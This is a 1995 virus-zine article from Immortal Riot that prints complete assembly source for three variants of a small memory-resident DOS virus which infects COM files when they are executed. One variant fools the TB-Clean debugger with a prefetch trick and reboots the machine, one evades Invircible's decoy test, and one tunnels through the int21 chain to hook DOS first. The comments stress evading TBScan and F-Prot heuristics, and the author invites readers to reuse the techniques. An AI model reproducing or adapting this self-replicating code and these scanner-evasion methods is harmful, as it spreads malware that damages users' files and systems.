Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 015 


% Rather Small Virus [RSV] * 3 %

--------------------------------

What follow here is in practical the same virus three times :-). 
It was written by Conzouler ages ago, and it has as well been made 
public. I'm though quite sure some of you havn't seen it, so there 
you go..



Notice that this isn't any advanced way-cool things, but maybe some 
of you find them useful for something, and that's the thought (if there 
ever were any ;)) behind this article :-).



- The Unforgiven.








  Three educational viruses to show how to fool debuggers, 
  Invircible and how to perform an "intersegmentary hooking". 
  (c) Conzouler / Immortal Riot 1995








  I have planned to do a super-mega-ultimate-awsome virus quite 
  some time, but I just haven't done it.

  That could mean that I am too lazy, maybe. Or that I've been 
  doing some other stuff instead. However, I've done some research 
  (in fact I have done lotsa routines but I haven't put them together 
  in a virus that I'm pleased with yet) and here is three of those 
  routines, two are quite simple but the third is quite interresting. 


  I have put all of these routines on a small virus called RSV or 
  Rather Small Virus. This virus uses com-infect on execute and 
  is resident, it has no other features. It should not be detected 
  by existing scanners.



  The purpose is that you could look at the code and learn how to 
  use this yourself.



  First comes AntiTBC, which uses a prefetch trick.








  AntiTBC - A virus based on RSV that will fool TB-Clean.

  (c) Conzouler / Immortal Riot 1995.








  Theory:



  Debuggers like TB-Clean reads one instruction a time from 
  memory while the processor will read 16 and put them in a 
  prefetch queue. Therefore, if you change code that already 
  is is in the prefetch the change won't affect the program 
  when run normally, but if the program is run with TB-Clean 
  it will run the changed code.

  Any branch (jumps, calls, ints and rets) will flush the

  prefetch and 16 bytes will be read from the new position. 
  So, you can change the location of a jump to make some

  code run if a debugger is used but another when executed 
  normally. Get it?

  The fun part with TB-Clean is that you can use this tech- 
  nique to simulate a program restoration but instead you

  put some mean code instead of the original program.



  You can also just do an int20 when tbscan is executed and 
  make TB-Clean say: "File might not be infected at all or 
  is damaged by an overwriting virus". Which is exactly what 
  TB-Clean would say if the file wasn't infected in the first 
  place.



  Code:



;

;  AntiTBC - written by Conzouler/IR 1995

;

;  Based on RSV.

;

;  Features:

;  memory resident

;  com-append on execute

;  no tb-flags (of course)

;  no f-prot heuristics

;  fools tbclean (look at the restore routine)

;



.model tiny

.code

 org 100h



psize   equ     (offset last - offset entry) / 10h + 2

size    equ     offset last - offset entry



entry:

        db      0e9h,0,0                        ; Initial jump 
start:

        call    gores



oentry  db      0CDh,20h,90h



gores:

        mov     ax, 4277h                       ; Installation check 
        int     21h

        jnc     restore



        mov     ah, 4Ah                         ; Get size of memory block 
        mov     bx, 0FFFFh

        int     21h

        mov     ah, 4Ah                         ; Change size of memory 
        sub     bx, psize+1                     ; Make space for virus 
        int     21h

        mov     ah, 48h                         ; Allocate memory 
        mov     bx, psize

        int     21h

        sub     ax, 10h                         ; Compensate org 100h 
        mov     es, ax

        mov     di, 103h

        mov     si, sp                          ; Get entry point 
        mov     si, [si]

        sub     si, 3                           ; Subtract first call 
        mov     cx, size-3

        rep     movsb                           ; Copy virus to new memory 
        push    es

        pop     ds

        inc     byte ptr ds:[0F1h]              ; Mark owner of memory 
        mov     ax, 3521h                       ; Get interrupt vector 
        int     21h

        mov     i21o, bx

        mov     i21s, es

        mov     ah, 25h                         ; Set interrupt vector 
        mov     dx, offset vec21

        int     21h



restore:

        mov     di, 100h

        push    cs                              ; Set es and ds to psp 
        pop     ds

        push    ds

        pop     es

        pop     si                              ; Get entry point 
        push    di                              ; Save it



; This piece of code will fool a debugger



        ; Check if debugger

        jmp     clear                           ; Clear prefetch queue 
clear:  mov     byte ptr [$+6], 0               ; Disable next jump 
        jmp     nodebug                         ; This jump will be 
                                                ; disabled if debugger. 
        ; Hohoho.. A debugger or TB-Clean...

        ; Move destructive code to beginning instead

        mov     cx, efflen

        add     si, offset effect - offset oentry

        rep     movsb

        retn



nodebug:

        movsw                                   ; Restore program entry point 
        movsb

        retn                                    ; Jump to 100h 


effect:

        ; This is the effect that will run if a debugger is used. 
        ; Reboot

        db      0EAh, 000h, 0F0h, 0FFh, 0FFh    ; Jump FFFF:F000 
efflen  equ     $ - offset effect



vec21:

        cmp     ax, 4277h                       ; Installation check 
        jne     v21e

        iret

v21e:   cmp     ax, 4B00h                       ; Execute program 
        jne     v21x



        push    ax                              ; Infect file 
        push    bx

        push    cx

        push    dx

        push    ds



        mov     ax, 3D82h                       ; Open file 
        int     21h

        xchg    ax, bx                          ; Put handle in bx 


        push    cs                              ; Read first bytes 
        pop     ds                              ; to oentry 
        mov     ah, 3Fh

        mov     dx, offset oentry

        mov     cx, 3

        int     21h

        cmp     byte ptr oentry, 'M'            ; Check if exe file 
        je      infectx

        push    cx



        mov     ax, 4202h                       ; Seek to eof 
        xor     cx, cx

        cwd                                     ; Zero dx

        int     21h



        sub     ax, 3                           ; Get offset to eof 
        mov     word ptr entry[1], ax           ; Save as jump 
        xchg    dx, ax

        mov     ax, 4200h

        int     21h

        mov     ah, 3Fh                         ; Infection check 
        mov     dx, offset last

        pop     cx



        int     21h

        cmp     byte ptr last[2], 0EAh          ; Check if infected 
        je      infectx



        mov     byte ptr entry, 0E9h            ; Create jump opcode 


        mov     ah, 3Fh                         ; Append virus 
        inc     ah                              ; Fool TBScan 
        push    ax

        mov     dx, 103h

        mov     cx, size-7

        int     21h



        mov     ax, 4200h                       ; Insert jump 
        xor     cx, cx

        cwd

        int     21h



        pop     ax

        mov     dh, 1h                          ; 100h in dx 
        mov     cl, 3                           ; 3 in cx

        int     21h

infectx:

        mov     ah, 3Eh

        int     21h



        pop     ds

        pop     dx

        pop     cx

        pop     bx

        pop     ax



v21x:   db      0EAh                            ; Jump to dos vector 
i21o    dw      ?

i21s    dw      ?

last:

end     entry








  AntiIVT - A virus based on RSV that will fool IVTEST and IVINIT. 
  (c) Conzouler / Immortal Riot 1995.








  Theory:



  Invircible test and and init programs use a technique known as 
  "decoy-launching" to detect viruses.



  The decoy-launcher creates a dummy file with a random name and 
  runs it. Then it checks the file to see if  it has changed and 
  if it has, it's been infected.



  Simple, but effective. The major problem is that it only works 
  with resident viruses, and it can't detect them unless you are 
  infected.



  It is easy to fool. This virus just checks if the name of the 
  currently running program begins with IV, and if it does, it 
  won't infect a file. Simple but effective.



  Of course it's easy tool fool this virus, you can just rename 
  IVTEST.EXE. But how many does?



  The routine has other uses too. A possible use for it should be 
  to check if a program named PKxxxxx was running, and disable 
  stealth. This would solve the problem of disinfecting viruses 
  which don't spread because they have so good stealth.



  Code:



;

;  AntiIVT - written by Conzouler/IR 1995

;

;  A virus based on RSV which fool Invircible's test program. 
;

;  Features:

;  memory resident

;  com-append on execute

;  no tb-flags (of course)

;  no f-prot heuristics

;  fools invircible test

;



.model tiny

.code

 org 100h



psize   equ     (offset last - offset entry) / 10h + 2

size    equ     offset last - offset entry



entry:

        db      0e9h,0,0                        ; Initial jump 
start:

        call    gores



oentry  db      0CDh,20h,90h



gores:

        mov     ax, 4277h                       ; Installation check 
        int     21h

        jnc     restore



        mov     ah, 4Ah                         ; Get size of memory block 
        mov     bx, 0FFFFh

        int     21h

        mov     ah, 4Ah                         ; Change size of memory 
        sub     bx, psize+1                     ; Make space for virus 
        int     21h

        mov     ah, 48h                         ; Allocate memory 
        mov     bx, psize

        int     21h

        sub     ax, 10h                         ; Compensate org 100h 
        mov     es, ax

        mov     di, 103h

        mov     si, sp                          ; Get entry point 
        mov     si, [si]

        sub     si, 3                           ; Subtract first call 
        mov     cx, size-3

        rep     movsb                           ; Copy virus to new memory 
        push    es

        pop     ds

        inc     byte ptr ds:[0F1h]              ; Mark owner of memory 
        mov     ax, 3521h                       ; Get interrupt vector 
        int     21h

        mov     i21o, bx

        mov     i21s, es

        mov     ah, 25h                         ; Set interrupt vector 
        mov     dx, offset vec21

        int     21h



restore:

        mov     di, 100h

        push    cs                              ; Set es and ds to psp 
        pop     ds

        push    ds

        pop     es

        pop     si                              ; Get entry point 
        push    di                              ; Save it

        movsw                                   ; Restore program entry point 
        movsb

        retn                                    ; Jump to 100h 


vec21:

        cmp     ax, 4277h                       ; Installation check 
        jne     v21e

        iret

v21e:   cmp     ax, 4B00h                       ; Execute program 
        jne     v21x



        push    ax                              ; Infect file 
        push    bx

        push    cx

        push    dx

        push    ds



; This routine checks the name of the currently running program. 


        mov     ah, 62h                         ; Get psp

        int     21h

        dec     bx

        mov     ds, bx

        cmp     word ptr ds:[8], 'VI'

        je      infectend



        pop     ds

        push    ds



        mov     ax, 3D82h                       ; Open file 
        int     21h

        xchg    ax, bx                          ; Put handle in bx 


        push    cs                              ; Read first bytes 
        pop     ds                              ; to oentry 
        mov     ah, 3Fh

        mov     dx, offset oentry

        mov     cx, 3

        int     21h

        cmp     byte ptr oentry, 'M'            ; Check if exe file 
        je      infectx

        push    cx



        mov     ax, 4202h                       ; Seek to eof 
        xor     cx, cx

        cwd                                     ; Zero dx

        int     21h



        sub     ax, 3                           ; Get offset to eof 
        mov     word ptr entry[1], ax           ; Save as jump 
        xchg    dx, ax

        mov     ax, 4200h

        int     21h

        mov     ah, 3Fh                         ; Infection check 
        mov     dx, offset last

        pop     cx



        int     21h

        cmp     byte ptr last[2], 0EAh          ; Check if infected 
        je      infectx



        mov     byte ptr entry, 0E9h            ; Create jump opcode 


        mov     ah, 3Fh                         ; Append virus 
        inc     ah                              ; Fool TBScan 
        push    ax

        mov     dx, 103h

        mov     cx, size-7

        int     21h



        mov     ax, 4200h                       ; Insert jump 
        xor     cx, cx

        cwd

        int     21h



        pop     ax

        mov     dh, 1h                          ; 100h in dx 
        mov     cl, 3                           ; 3 in cx

        int     21h

infectx:

        mov     ah, 3Eh

        int     21h

infectend:

        pop     ds

        pop     dx

        pop     cx

        pop     bx

        pop     ax



v21x:   db      0EAh                            ; Jump to dos vector 
i21o    dw      ?

i21s    dw      ?

last:

end     entry








  Tunneler - A virus based on RSV that uses Tunneling to go resident 
  first in the interrupt chain.

  (c) Conzouler / Immortal Riot 1995.








  Theory:



  The normal way to chain an interrupt looks like this:

  Get the address of that interrupt, set the interrupt

  vector to your handler. When your handler has finished,

  do a far jump to the old handler.



  There are only a few common ways of doing this far jump: 
  far direct jump, far immediate jump and the respective

  calls.



  So what this virus does is to single-step through the

  interrupt 21 chain until it finds the opcode for one of

  the above mentioned jumps or calls whose address is lower 
  than the address of the first memory control block.



  If it does, it will change that address to point to the

  virus handler and save the original address.



  Code:



;

;  Tunneler - written by Conzouler/IR 1995

;

;  Based on the Rather Small Virus (refer to RSV.ASM for details). 
;  Tunneling and intersegmentary hooking added.

;  Thanks to TU for supplying ideas and concepts and

;  further credits goes to Satan's little helper!



;  Features:

;  memory resident

;  com-append on execute

;  no tb-flags (of course)

;  tunnels to find dos entry point

;  chains in first in the int21 chain

;



.model tiny

.code

 org 100h



psize   equ     (offset last - offset entry) / 10h + 2

size    equ     offset last - offset entry



entry:

        db      0e9h,0,0                        ; Initial jump 
start:

        call    gores



oentry  db      0CDh,20h,90h



gores:

        mov     ax, 4277h                       ; Installation check 
        int     21h

        jnc     restore



        mov     ah, 4Ah                         ; Get size of memory block 
        mov     bx, 0FFFFh

        int     21h

        mov     ah, 4Ah                         ; Change size of memory 
        sub     bx, psize+1                     ; Make space for virus 
        int     21h

        mov     ah, 48h                         ; Allocate memory 
        mov     bx, psize

        int     21h

        sub     ax, 10h                         ; Compensate org 100h 
        mov     es, ax

        mov     di, 103h

        mov     si, sp                          ; Get entry point 
        mov     si, [si]

        sub     si, 3                           ; Subtract first call 
        mov     cx, size-3

        rep     movsb                           ; Copy virus to new memory 
        push    es

        pop     ds

        inc     byte ptr ds:[0F1h]              ; Change block owner 


        push    cs

        call    gotun                           ; Jump to tunneler 


restore:

        mov     di, 100h                        ; Offset to program entry 
        push    cs                              ; Set es and ds to psp 
        pop     ds

        push    ds

        pop     es

        pop     si                              ; Get entry point 
        push    di                              ; Prepare jump to 100h 
        movsw                                   ; Restore program entry point 
        movsb

        retn                                    ; Jump to 100h 


gotun:

        push    ds                              ; Jump to tunneler in 
        mov     ax, offset tunneler             ; new memory 
        push    ax

        retf



tunneler:

        mov     ah,52h                          ; Get list of lists 
        int     21h

        mov     ax, es:[bx-2]                   ; Get first MCB 
        mov     fmcb, ax



        mov     ax, 3521h                       ; Get int21 
        int     21h

        mov     i21o, bx

        mov     i21s, es



        mov     al, 01h                         ; Save int01 
        int     21h

        push    bx                              ; on stack 
        push    es



        mov     ah, 25h                         ; Set int01 
        mov     dx, offset vec01

        int     21h



        pushf                                   ; Set trap flag 
        pop     ax

        or      ah,1

        push    ax

        popf



        mov     ah,0Bh                          ; Issue dos function 
        pushf                                   ; Simulate interrupt 
        call    dword ptr i21o                  ; for tracing 


        pop     ds

        pop     dx



        pushf                                   ; Get flags 
        pop     ax

        test    ah, 1                           ; Check trap flag 
        pushf

        and     ah, 0FEh                        ; Turn off trap flag 
        push    ax

        popf



        mov     ax, 2501h                       ; Reset int01 
        int     21h



        push    cs

        pop     ds



        popf

        jnz     chained



        mov     ah, 25h

        mov     dx, offset vec21

        int     21h



chained:

        retf



vec01:

        mov     cs:savedax, ax                  ; Save registers 
        mov     cs:savedsi, si

        mov     cs:savedcx, cx

        pop     si                              ; Get ip in si 
        pop     ax                              ; cs in ax 
        pop     cx                              ; flags in cx 
        push    ds

        mov     ds, ax

        cmp     word ptr [si], 05EBh            ; Check if tbav 
        jne     chaincheck

        cmp     byte ptr [si+2], 0EAh           ; Check if tbav 
        jne     chaincheck

        inc     si                              ; Skip tbav 
        inc     si

chaincheck:

        cmp     byte ptr [si], 09Ah             ; Immediate interseg? 
        je      chainis

        cmp     byte ptr [si], 0EAh             ; Immediate interseg? 
        je      chainis

        cmp     word ptr [si], 0FF2Eh           ; opc prefix=cs? 
        jne     traceexit

        cmp     byte ptr [si+2], 01Eh           ; Direct interseg? 
        je      chainds

        cmp     byte ptr [si+2], 02Eh           ; Direct interseg? 
        je      chainds

traceexit:

        pop     ds

        push    cx

        push    ax

        push    si

        db      0B8h

savedax dw      ?

        db      0BEh

savedsi dw      ?

        db      0B9h

savedcx dw      ?

        iret



chainis:

        push    si

        inc     si

        jmp     chain

chainds:

        push    si

        mov     si, si[3]

chain:

        db      81h,7Ch,02h                     ; cmp    ds:si[2], fmcb 
fmcb    dw      ?                               ; See if jump is to dos 
        jnb     chainexit

        push    ax

        mov     ax, si[0]                       ; Get offset address 
        mov     cs:i21o, ax

        mov     ax, si[2]                       ; Get segment address 
        mov     cs:i21s, ax

        mov     si[0], offset vec21             ; Install vec21 
        mov     si[2], cs

        pop     ax

        and     ch, 0FEh                        ; Clear trap flag 
chainexit:

        pop     si

        jmp     traceexit



vec21:

        cmp     ax, 4277h                       ; Installation check 
        jne     v21e

        iret

v21e:   cmp     ax, 4B00h                       ; Execute program 
        je      infect



v21x:   db      0EAh                            ; Jump to dos vector 
i21o    dw      ?

i21s    dw      ?



infect:

        push    ax

        push    bx

        push    cx

        push    dx

        push    ds



        mov     ax, 3D82h                       ; Open file 
        int     21h

        xchg    ax, bx                          ; Put handle in bx 


        push    cs                              ; Read first bytes 
        pop     ds                              ; to oentry 
        mov     ah, 3Fh

        mov     dx, offset oentry

        mov     cx, 3

        int     21h

        cmp     byte ptr oentry, 'M'            ; Check if exe file 
        je      infectx

        push    cx



        mov     ax, 4202h                       ; Seek to eof 
        xor     cx, cx

        cwd                                     ; Zero dx

        int     21h

        sub     ax, 3                           ; Get offset to eof 
        mov     word ptr entry[1], ax           ; Save as jump 
        xchg    dx, ax

        mov     ax, 4200h

        int     21h

        mov     ah, 3Fh                         ; Infection check 
        mov     dx, offset last

        pop     cx

        int     21h

        cmp     byte ptr last[1], 0EBh          ; Check if infected 
        je      infectx



        mov     byte ptr entry, 0E9h            ; Create jump opcode 


        mov     ah, 3Fh                         ; Append virus 
        inc     ah                              ; Fool TBScan 
        push    ax

        mov     dx, 103h

        mov     cx, size-3

        int     21h



        mov     ax, 4200h                       ; Insert jump 
        xor     cx, cx

        cwd

        int     21h



        pop     ax

        mov     dh, 1h                          ; 100h in dx 
        mov     cl, 3                           ; 3 in cx

        int     21h

infectx:

        mov     ah, 3Eh

        int     21h



        pop     ds

        pop     dx

        pop     cx

        pop     bx

        pop     ax

        jmp     v21x



last:

end     entry

